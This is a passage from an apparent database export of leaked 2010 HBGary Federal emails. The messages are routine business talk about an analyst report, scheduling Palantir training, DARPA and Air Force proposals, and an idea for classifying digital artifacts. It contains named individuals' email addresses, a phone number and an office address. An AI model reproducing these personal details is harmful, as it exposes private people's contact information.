&nbsp;Funny how the one listed weakness we are\r\nalready addressing discussing threat intelligence with the Aurora report\r\nreleasing this week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;02081003.PDF&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15649,'aaron_hbgary_com/15649.html'),(2239,'2010-02-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001016.M107656P3547Q2239.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.&nbsp; Can we sync up Thurs?\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJust let me know when you want Geoff Stowe to drive up to\r\nSacramento\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIll pencil you in for analyst training on the 23rd\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIve been emailing back and forth with Brian &#8211; I think he&#8217;s\r\nin a good place right now\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nLets chat about some AF things we have going on\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHave you guys approached Google at any point?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 4:52 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyeah...more of those to come. &nbsp;:)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday? &nbsp;We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element). &nbsp;Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office. &nbsp;Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4340,'aaron_hbgary_com/4340.html'),(2240,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001016.M359175P3547Q2240.eml','\"Aaron Barr\" <aaron@hbgary.com>','Training for Palantir','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg says the 16th would work\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10361,'aaron_hbgary_com/10361.html'),(2241,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001016.M571403P3547Q2241.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','How about the 16th.  No on google but would love to.  When we talked with Maryland folks I was going to bring that up.From my iPhoneOn Feb 8, 2010, at 5:13 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.  Can we sync up Thurs?\r\n\r\n \r\n\r\n·        \r\nJust let me know when you want Geoff Stowe to drive up to\r\nSacramento\r\n\r\n·        \r\nIll pencil you in for analyst training on the 23rd\r\n\r\n·        \r\nIve been emailing back and forth with Brian – I think he’s\r\nin a good place right now\r\n\r\n·        \r\nLets chat about some AF things we have going on\r\n\r\n·        \r\nHave you guys approached Google at any point?\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 4:52 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nyeah...more of those to come.  :)\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday?  We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP.  We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element).  Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office.  Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08,\r\n2010 4:20 PM\r\nTo: Matthew Steckman\r\nSubject: Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate: February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: &quot;&#39;Maria Lucas&#39;&quot; &lt;maria@hbgary.com&gt;, &quot;&#39;Rich\r\nCummings&#39;&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;&#39;Phil Wallisch&#39;&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;&#39;Matt O&#39;Flynn&#39;&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;&#39;Bob Slapnik&#39;&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.  If you printed off a copy you can show clients.  This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13474,'aaron_hbgary_com/13474.html'),(2242,'2010-02-08','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001016.M851864P3547Q2242.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n16th is good.&nbsp; You should come to our new office, it&#8217;s\r\nsweet.\r\n\r\n&nbsp;\r\n\r\n1660 International Dr, Mclean, 8th floor.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 5:22 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about the 16th. &nbsp;No on google but would love to.\r\n&nbsp;When we talked with Maryland folks I was going to bring that up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 5:13 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday\r\nIll be onsite.&nbsp; Can we sync up Thurs?\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just\r\nlet me know when you want Geoff Stowe to drive up to Sacramento\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ill\r\npencil you in for analyst training on the 23rd\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ive\r\nbeen emailing back and forth with Brian &#8211; I think he&#8217;s in a good place right\r\nnow\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lets\r\nchat about some AF things we have going on\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Have\r\nyou guys approached Google at any point?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 4:52 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyeah...more\r\nof those to come. &nbsp;:)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nwill press Gregs better half, who does most of the scheduling to see when we\r\ncan do the training.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWant\r\nto get caught up with you maybe Wednesday? &nbsp;We are pursing some work down\r\nat the 92nd, also on a proposal with Macaulley Brown for the AF OSI RFP.\r\n&nbsp;We are making partner decisions for the DARPA BAA for cyber genome (there\r\nwill be a palantir element). &nbsp;Also still working with Brian Masterson to\r\nbuild his IRAD, and have some conversations coming up with Dave Luber out of\r\nthe ANO office. &nbsp;Probably a few others that I missed but a good start.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow,\r\nnice article.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin\r\nforwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Just was\r\nput out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI scanned this so\r\nall could see, not sure we can distribute, so let me check.&nbsp; If you\r\nprinted off a copy you can show clients.&nbsp; This helps in a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3842,'aaron_hbgary_com/3842.html'),(2243,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001017.M152446P3547Q2243.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Training for Palantir','Ok 16th is set.\r\n\r\n From my iPhone\r\n\r\nOn Feb 8, 2010, at 5:15 PM, \"Penny Leavy-Hoglund\" \r\nwrote:\r\n\r\n> Greg says the 16th would work\r\n',9110,'aaron_hbgary_com/9110.html'),(2244,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001017.M353710P3547Q2244.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Just was put out by 451 Analyst Group','What did gartner offer... Pay us someMoney and we will put you on the quadrant? ;)From my iPhoneOn Feb 8, 2010, at 4:28 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nYes and the other is messaging and I signed up for a 3 hour time\r\nwith the two top analysts in Boston to specifically address this problem since\r\nGartner didn’t add a lot of value there.  I just have to get a date that Greg\r\nwill agree to, \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 1:23 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: &#39;Maria Lucas&#39;; &#39;Rich Cummings&#39;; &#39;Phil Wallisch&#39;; &#39;Matt O&#39;Flynn&#39;;\r\n&#39;Bob Slapnik&#39;; &#39;Ted Vera&#39;\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSweet.  Funny how the one listed weakness we are\r\nalready addressing discussing threat intelligence with the Aurora report\r\nreleasing this week.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.  If you printed off a copy you can show clients.  This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n&lt;02081003.PDF&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11719,'aaron_hbgary_com/11719.html'),(2245,'2010-02-08','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001017.M582173P3547Q2245.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBasically, they are just saying what the masses are saying, no\r\nindividuality at all\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 2:36 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhat did gartner offer... Pay us some\r\n\r\n\r\n\r\n\r\n\r\nMoney and we will put you on the quadrant? ;)\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:28 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes\r\nand the other is messaging and I signed up for a 3 hour time with the two top\r\nanalysts in Boston to specifically address this problem since Gartner didn&#8217;t\r\nadd a lot of value there.&nbsp; I just have to get a date that Greg will agree\r\nto, \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 08, 2010 1:23 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Maria Lucas\'; \'Rich Cummings\'; \'Phil Wallisch\'; \'Matt O\'Flynn\';\r\n\'Bob Slapnik\'; \'Ted Vera\'\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSweet.\r\n&nbsp;Funny how the one listed weakness we are already addressing discussing\r\nthreat intelligence with the Aurora report releasing this week.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nFeb 8, 2010, at 4:15 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI scanned this so\r\nall could see, not sure we can distribute, so let me check.&nbsp; If you\r\nprinted off a copy you can show clients.&nbsp; This helps in a big way\r\n\r\n\r\n\r\n\r\n\r\n&lt;02081003.PDF&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11533,'aaron_hbgary_com/11533.html'),(2246,'2010-02-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001017.M820755P3547Q2246.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Do you know if the darpa proposer\'s day is still on tomorrow?','I am busy in a good way I guess.  I&#39;ll feel a lot better when I have some money coming in.  Well if starting a business was easy everyone would do it right!From my iPhone\r\nOn Feb 8, 2010, at 3:20 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nI am at atl and trying to figure where to fly to.\r\n\r\n\r\n\r\n\r\n',16283,'aaron_hbgary_com/16283.html'),(2247,'2010-02-08','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001019.M868237P3547Q2247.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: I need your thoughts.',' \r\nAaron,\r\nI threw these two diagrams together really fast, I was imagining the problem geometrically - like a behavior or document or series of events could all be represented by a shape of some kind, like a visual fingerprint.\r\n\r\n \r\n-Greg\r\nOn Mon, Feb 8, 2010 at 1:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nWhen looking at the DARPA BAA I have found a single path using our existing capability that I think answers the mail, but I am in this rut and can&#39;t see out of it, so was hoping to get your thoughts.\r\nNeed to classify all digital artifacts and determine good and bad actions/behaviors, what to protect, etc.Its all math of course.  And as I have been thinking about our traits database represented by hashes, it can fit almost anything.  We categorize things in our brains and make those associations automatically.\r\nA word document was created on the corporate network by the CEO of the company.  The word document was about the possible acquisition of a small company.  Or the word document was about the firing of a negligent employee.\r\nThose sentences  could have a multitude of different traits associated with it, some of those traits would be derived by other associations.  The CEO has certain traits, the network has certain traits.  What is in the document, HR, FInance, etc.  When the document was created, etc.  The more of those you can define the more granular you can base you future 